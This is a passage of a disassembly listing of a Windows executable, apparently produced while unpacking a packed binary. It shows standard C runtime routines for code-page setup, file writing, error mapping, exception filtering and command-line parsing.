		pop	edi
		retn
sub_41A429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A452	proc near		; CODE XREF: sub_41A213:loc_41A39Bp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_743644
		call	dword_41F18C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41A58B
		xor	eax, eax
		mov	esi, 100h


loc_41A47C:				; CODE XREF: sub_41A452+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41A47C
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41A4CD
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41A49B:				; CODE XREF: sub_41A452+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41A4C2
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41A4C2:				; CODE XREF: sub_41A452+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41A49B
		pop	edi
		pop	ebx


loc_41A4CD:				; CODE XREF: sub_41A452+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_743864
		push	dword_743644
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41B513
		push	0
		lea	eax, [ebp+var_214]
		push	dword_743644
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_743864
		call	sub_419FC4
		push	0
		lea	eax, [ebp+var_314]
		push	dword_743644
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_743864
		call	sub_419FC4
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41A548:				; CODE XREF: sub_41A452+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41A566
		or	byte_743761[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41A55E:				; CODE XREF: sub_41A452+127j
		mov	byte_743660[eax], dl
		jmp	short loc_41A582
; ---------------------------------------------------------------------------


loc_41A566:				; CODE XREF: sub_41A452+FCj
		test	dl, 2
		jz	short loc_41A57B
		or	byte_743761[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41A55E
; ---------------------------------------------------------------------------


loc_41A57B:				; CODE XREF: sub_41A452+117j
		and	byte_743660[eax], 0


loc_41A582:				; CODE XREF: sub_41A452+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41A548
		jmp	short loc_41A5D4
; ---------------------------------------------------------------------------


loc_41A58B:				; CODE XREF: sub_41A452+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41A592:				; CODE XREF: sub_41A452+180j
		cmp	eax, 41h
		jb	short loc_41A5B0
		cmp	eax, 5Ah
		ja	short loc_41A5B0
		or	byte_743761[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41A5A8:				; CODE XREF: sub_41A452+174j
		mov	byte_743660[eax], cl
		jmp	short loc_41A5CF
; ---------------------------------------------------------------------------


loc_41A5B0:				; CODE XREF: sub_41A452+143j
					; sub_41A452+148j
		cmp	eax, 61h
		jb	short loc_41A5C8
		cmp	eax, 7Ah
		ja	short loc_41A5C8
		or	byte_743761[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41A5A8
; ---------------------------------------------------------------------------


loc_41A5C8:				; CODE XREF: sub_41A452+161j
					; sub_41A452+166j
		and	byte_743660[eax], 0


loc_41A5CF:				; CODE XREF: sub_41A452+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41A592


loc_41A5D4:				; CODE XREF: sub_41A452+137j
		pop	esi
		leave
		retn
sub_41A452	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5D7	proc near		; CODE XREF: sub_41AADF+9p
					; sub_41AB37+Dp ...
		cmp	dword_74388C, 0
		jnz	short locret_41A5F2
		push	0FFFFFFFDh
		call	sub_41A213
		pop	ecx
		mov	dword_74388C, 1

locret_41A5F2:				; CODE XREF: sub_41A5D7+7j
		retn
sub_41A5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5F3	proc near		; CODE XREF: sub_415628+2Bp
					; sub_415628+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_74365C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41A617
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_415140
		add	esp, 0Ch
		jmp	short loc_41A67A
; ---------------------------------------------------------------------------


loc_41A617:				; CODE XREF: sub_41A5F3+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41A65C
		mov	ecx, [ebp+arg_4]


loc_41A622:				; CODE XREF: sub_41A5F3+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_743761[esi], 4
		mov	[edi], al
		jz	short loc_41A646
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41A652
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A658
		jmp	short loc_41A64C
; ---------------------------------------------------------------------------


loc_41A646:				; CODE XREF: sub_41A5F3+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41A65C


loc_41A64C:				; CODE XREF: sub_41A5F3+51j
		test	edx, edx
		jnz	short loc_41A622
		jmp	short loc_41A65C
; ---------------------------------------------------------------------------


loc_41A652:				; CODE XREF: sub_41A5F3+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41A65C
; ---------------------------------------------------------------------------


loc_41A658:				; CODE XREF: sub_41A5F3+4Fj
		and	byte ptr [edi-2], 0


loc_41A65C:				; CODE XREF: sub_41A5F3+2Aj
					; sub_41A5F3+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41A677
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41A677:				; CODE XREF: sub_41A5F3+6Fj
		mov	eax, [ebp+arg_0]


loc_41A67A:				; CODE XREF: sub_41A5F3+22j
		pop	edi
		pop	ebp
		retn
sub_41A5F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A67D	proc near		; CODE XREF: sub_4158DF+A2p
					; sub_415F50+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_743640
		push	esi
		push	edi
		jnb	loc_41A811
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41A811
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41A6CE


loc_41A6C7:				; CODE XREF: sub_41A67D+177j
		xor	eax, eax
		jmp	loc_41A825
; ---------------------------------------------------------------------------


loc_41A6CE:				; CODE XREF: sub_41A67D+48j
		test	al, 20h
		jz	short loc_41A6DE
		push	2
		push	edi
		push	ecx
		call	sub_419DD2
		add	esp, 0Ch


loc_41A6DE:				; CODE XREF: sub_41A67D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41A7AD
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41A7E5


loc_41A6FE:				; CODE XREF: sub_41A67D+F5j
		lea	eax, [ebp+var_414]


loc_41A704:				; CODE XREF: sub_41A67D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A738
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41A723
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41A723:				; CODE XREF: sub_41A67D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41A704


loc_41A738:				; CODE XREF: sub_41A67D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_41A7A2
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41A774
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41A6FE


loc_41A774:				; CODE XREF: sub_41A67D+EAj
					; sub_41A67D+12Ej
		xor	edi, edi


loc_41A776:				; CODE XREF: sub_41A67D+150j
					; sub_41A67D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41A80C
		cmp	[ebp+arg_0], edi
		jz	short loc_41A7E5
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41A7DA
		mov	dword_74222C, 9
		mov	dword_742230, eax
		jmp	loc_41A822
; ---------------------------------------------------------------------------


loc_41A7A2:				; CODE XREF: sub_41A67D+E0j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41A774
; ---------------------------------------------------------------------------


loc_41A7AD:				; CODE XREF: sub_41A67D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_41F054	; WriteFile
		test	eax, eax
		jz	short loc_41A7CF
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41A776
; ---------------------------------------------------------------------------


loc_41A7CF:				; CODE XREF: sub_41A67D+145j
		call	dword_41F06C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41A776
; ---------------------------------------------------------------------------


loc_41A7DA:				; CODE XREF: sub_41A67D+10Fj
		push	[ebp+arg_0]
		call	sub_41A82A
		pop	ecx
		jmp	short loc_41A822
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A67D+7Bj
					; sub_41A67D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41A7FA
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41A6C7


loc_41A7FA:				; CODE XREF: sub_41A67D+16Fj
		mov	dword_74222C, 1Ch
		mov	dword_742230, edi
		jmp	short loc_41A822
; ---------------------------------------------------------------------------


loc_41A80C:				; CODE XREF: sub_41A67D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41A825
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A67D+15j
					; sub_41A67D+37j
		and	dword_742230, 0
		mov	dword_74222C, 9


loc_41A822:				; CODE XREF: sub_41A67D+120j
					; sub_41A67D+166j ...
		or	eax, 0FFFFFFFFh


loc_41A825:				; CODE XREF: sub_41A67D+4Cj
					; sub_41A67D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A67D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82A	proc near		; CODE XREF: sub_4159E9+16p
					; sub_415DB5+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_742230, ecx
		mov	eax, offset dword_437C20


loc_41A83B:				; CODE XREF: sub_41A82A+1Ej
		cmp	ecx, [eax]
		jz	short loc_41A85F
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_437D88
		jl	short loc_41A83B
		cmp	ecx, 13h
		jb	short loc_41A86C
		cmp	ecx, 24h
		ja	short loc_41A86C
		mov	dword_74222C, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41A85F:				; CODE XREF: sub_41A82A+13j
		mov	eax, dword_437C24[edx*8]
		mov	dword_74222C, eax
		retn
; ---------------------------------------------------------------------------


loc_41A86C:				; CODE XREF: sub_41A82A+23j
					; sub_41A82A+28j
		cmp	ecx, 0BCh
		jb	short loc_41A886
		cmp	ecx, 0CAh
		mov	dword_74222C, 8
		jbe	short locret_41A890


loc_41A886:				; CODE XREF: sub_41A82A+48j
		mov	dword_74222C, 16h

locret_41A890:				; CODE XREF: sub_41A82A+5Aj
		retn
sub_41A82A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A891	proc near		; CODE XREF: sub_415DDF+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41B3CC
		test	eax, eax
		pop	ecx
		jz	short loc_41A91A
		cmp	esi, offset dword_437EC8
		jnz	short loc_41A8AF
		xor	eax, eax
		jmp	short loc_41A8BA
; ---------------------------------------------------------------------------


loc_41A8AF:				; CODE XREF: sub_41A891+18j
		cmp	esi, offset dword_437EE8
		jnz	short loc_41A91A
		push	1
		pop	eax


loc_41A8BA:				; CODE XREF: sub_41A891+1Cj
		inc	dword_7423EC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A91A
		cmp	dword_7422D4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:7422D4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A900
		push	ebx
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A900
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A90D
; ---------------------------------------------------------------------------


loc_41A900:				; CODE XREF: sub_41A891+4Dj
					; sub_41A891+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A90D:				; CODE XREF: sub_41A891+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A91A:				; CODE XREF: sub_41A891+10j
					; sub_41A891+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A891	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A91E	proc near		; CODE XREF: sub_415DDF+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A948
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A959
		push	esi
		call	sub_419849
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A948:				; CODE XREF: sub_41A91E+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A959
		push	eax
		call	sub_419849
		pop	ecx


loc_41A959:				; CODE XREF: sub_41A91E+10j
					; sub_41A91E+32j
		pop	esi
		retn
sub_41A91E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A95B	proc near		; CODE XREF: seg001:00415EF4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41AA9C
		test	eax, eax
		pop	ecx
		jz	loc_41AA90
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41AA90
		cmp	ebx, 5
		jnz	short loc_41A98C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41AA99
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A95B+23j
		cmp	ebx, 1
		jz	loc_41AA8B
		mov	ecx, dword_7422DC
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_7422DC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41AA7B
		mov	ecx, dword_437E00
		mov	edx, dword_437E04
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41A9DB
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:437D90h[esi*4]


loc_41A9D2:				; CODE XREF: sub_41A95B+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41A9D2


loc_41A9DB:				; CODE XREF: sub_41A95B+69j
		mov	eax, [eax]
		mov	esi, dword_437E0C
		cmp	eax, 0C000008Eh
		jnz	short loc_41A9F6
		mov	dword_437E0C, 83h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41A9F6:				; CODE XREF: sub_41A95B+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41AA09
		mov	dword_437E0C, 81h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A95B+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41AA1C
		mov	dword_437E0C, 84h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA1C:				; CODE XREF: sub_41A95B+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41AA2F
		mov	dword_437E0C, 85h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA2F:				; CODE XREF: sub_41A95B+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41AA42
		mov	dword_437E0C, 82h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA42:				; CODE XREF: sub_41A95B+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41AA55
		mov	dword_437E0C, 86h
		jmp	short loc_41AA66
; ---------------------------------------------------------------------------


loc_41AA55:				; CODE XREF: sub_41A95B+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41AA66
		mov	dword_437E0C, 8Ah


loc_41AA66:				; CODE XREF: sub_41A95B+99j
					; sub_41A95B+ACj ...
		push	dword_437E0C
		push	8
		call	ebx
		pop	ecx
		mov	dword_437E0C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41AA83
; ---------------------------------------------------------------------------


loc_41AA7B:				; CODE XREF: sub_41A95B+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41AA83:				; CODE XREF: sub_41A95B+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_7422DC, eax


loc_41AA8B:				; CODE XREF: sub_41A95B+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41AA99
; ---------------------------------------------------------------------------


loc_41AA90:				; CODE XREF: sub_41A95B+Fj
					; sub_41A95B+1Aj
		push	[ebp+arg_4]
		call	dword_41F198	; UnhandledExceptionFilter


loc_41AA99:				; CODE XREF: sub_41A95B+2Cj
					; sub_41A95B+133j
		pop	ebx
		pop	ebp
		retn
sub_41A95B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA9C	proc near		; CODE XREF: sub_41A95B+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_437E08
		cmp	dword_437D88, edx
		push	esi
		mov	eax, offset dword_437D88
		jz	short loc_41AAC9
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:437D88h[esi*4]


loc_41AABE:				; CODE XREF: sub_41AA9C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41AAC9
		cmp	[eax], edx
		jnz	short loc_41AABE


loc_41AAC9:				; CODE XREF: sub_41AA9C+16j
					; sub_41AA9C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:437D88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41AADC
		cmp	[eax], edx
		jz	short locret_41AADE


loc_41AADC:				; CODE XREF: sub_41AA9C+3Aj
		xor	eax, eax

locret_41AADE:				; CODE XREF: sub_41AA9C+3Ej
		retn
sub_41AA9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADF	proc near		; CODE XREF: seg001:00415EB6p
		cmp	dword_74388C, 0
		jnz	short loc_41AAED
		call	sub_41A5D7


loc_41AAED:				; CODE XREF: sub_41AADF+7j
		push	esi
		mov	esi, dword_743884
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41AB1F


loc_41AAFA:				; CODE XREF: sub_41AADF+33j
					; sub_41AADF+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41AB17
		test	al, al
		jz	short loc_41AB17
		movzx	eax, al
		push	eax
		call	sub_41C9CF
		test	eax, eax
		pop	ecx
		jz	short loc_41AAFA
		inc	esi
		jmp	short loc_41AAFA
; ---------------------------------------------------------------------------


loc_41AB17:				; CODE XREF: sub_41AADF+21j
					; sub_41AADF+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41AB29


loc_41AB1C:				; CODE XREF: sub_41AADF+52j
		inc	esi
		jmp	short loc_41AB29
; ---------------------------------------------------------------------------


loc_41AB1F:				; CODE XREF: sub_41AADF+19j
		cmp	al, 20h
		jbe	short loc_41AB29


loc_41AB23:				; CODE XREF: sub_41AADF+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41AB23


loc_41AB29:				; CODE XREF: sub_41AADF+3Bj
					; sub_41AADF+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41AB33
		cmp	al, 20h
		jbe	short loc_41AB1C


loc_41AB33:				; CODE XREF: sub_41AADF+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41AADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB37	proc near		; CODE XREF: seg001:00415E9Fp
		push	ebx
		xor	ebx, ebx
		cmp	dword_74388C, ebx
		push	esi
		push	edi
		jnz	short loc_41AB49
		call	sub_41A5D7


loc_41AB49:				; CODE XREF: sub_41AB37+Bj
		mov	esi, dword_742278
		xor	edi, edi


loc_41AB51:				; CODE XREF: sub_41AB37+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41AB69
		cmp	al, 3Dh
		jz	short loc_41AB5C
		inc	edi


loc_41AB5C:				; CODE XREF: sub_41AB37+22j
		push	esi
		call	sub_413E90
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41AB51
; ---------------------------------------------------------------------------


loc_41AB69:				; CODE XREF: sub_41AB37+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_742254, esi
		jnz	short loc_41AB8B
		push	9
		call	sub_415F07
		pop	ecx


loc_41AB8B:				; CODE XREF: sub_41AB37+4Aj
		mov	edi, dword_742278
		cmp	[edi], bl
		jz	short loc_41ABCE
		push	ebp


loc_41AB96:				; CODE XREF: sub_41AB37+94j
		push	edi
		call	sub_413E90
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41ABC7
		push	ebp
		call	sub_413F0B
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41ABBA
		push	9
		call	sub_415F07
		pop	ecx


loc_41ABBA:				; CODE XREF: sub_41AB37+79j
		push	edi
		push	dword ptr [esi]
		call	sub_414FB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41ABC7:				; CODE XREF: sub_41AB37+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41AB96
		pop	ebp


loc_41ABCE:				; CODE XREF: sub_41AB37+5Cj
		push	dword_742278
		call	sub_413F7F
		pop	ecx
		mov	dword_742278, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_743888, 1
		pop	ebx
		retn
sub_41AB37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF0	proc near		; CODE XREF: seg001:00415E9Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_74388C, ebx
		push	esi
		push	edi
		jnz	short loc_41AC07
		call	sub_41A5D7


loc_41AC07:				; CODE XREF: sub_41ABF0+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_41F060	; GetModuleFileNameA
		mov	eax, dword_743884
		mov	off_742264, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41AC2C
		mov	edi, eax


loc_41AC2C:				; CODE XREF: sub_41ABF0+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41AC89
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_413F0B
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41AC5C
		push	8
		call	sub_415F07
		pop	ecx


loc_41AC5C:				; CODE XREF: sub_41ABF0+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41AC89
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_74224C, esi
		pop	edi
		pop	esi
		mov	dword_742248, eax
		pop	ebx
		leave
		retn
sub_41ABF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC89	proc near		; CODE XREF: sub_41ABF0+47p
					; sub_41ABF0+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41ACB3
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41ACB3:				; CODE XREF: sub_41AC89+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41ACFC


loc_41ACB8:				; CODE XREF: sub_41AC89+58j
					; sub_41AC89+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41ACEA
		test	dl, dl
		jz	short loc_41ACEA
		movzx	edx, dl
		test	byte_743761[edx], 4
		jz	short loc_41ACDD
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACDD
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41ACDD:				; CODE XREF: sub_41AC89+46j
					; sub_41AC89+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACB8
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41ACB8
; ---------------------------------------------------------------------------


loc_41ACEA:				; CODE XREF: sub_41AC89+36j
					; sub_41AC89+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41ACF4
		and	byte ptr [esi],	0
		inc	esi


loc_41ACF4:				; CODE XREF: sub_41AC89+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41AD3F
		inc	eax
		jmp	short loc_41AD3F
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41AC89+2Dj
					; sub_41AC89+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AD07
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41AD07:				; CODE XREF: sub_41AC89+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_743761[ebx], 4
		jz	short loc_41AD22
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41AD21
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41AD21:				; CODE XREF: sub_41AC89+91j
		inc	eax


loc_41AD22:				; CODE XREF: sub_41AC89+8Bj
		cmp	dl, 20h
		jz	short loc_41AD30
		test	dl, dl
		jz	short loc_41AD34
		cmp	dl, 9
		jnz	short loc_41ACFC


loc_41AD30:				; CODE XREF: sub_41AC89+9Cj
		test	dl, dl
		jnz	short loc_41AD37


loc_41AD34:				; CODE XREF: sub_41AC89+A0j
		dec	eax
		jmp	short loc_41AD3F
; ---------------------------------------------------------------------------


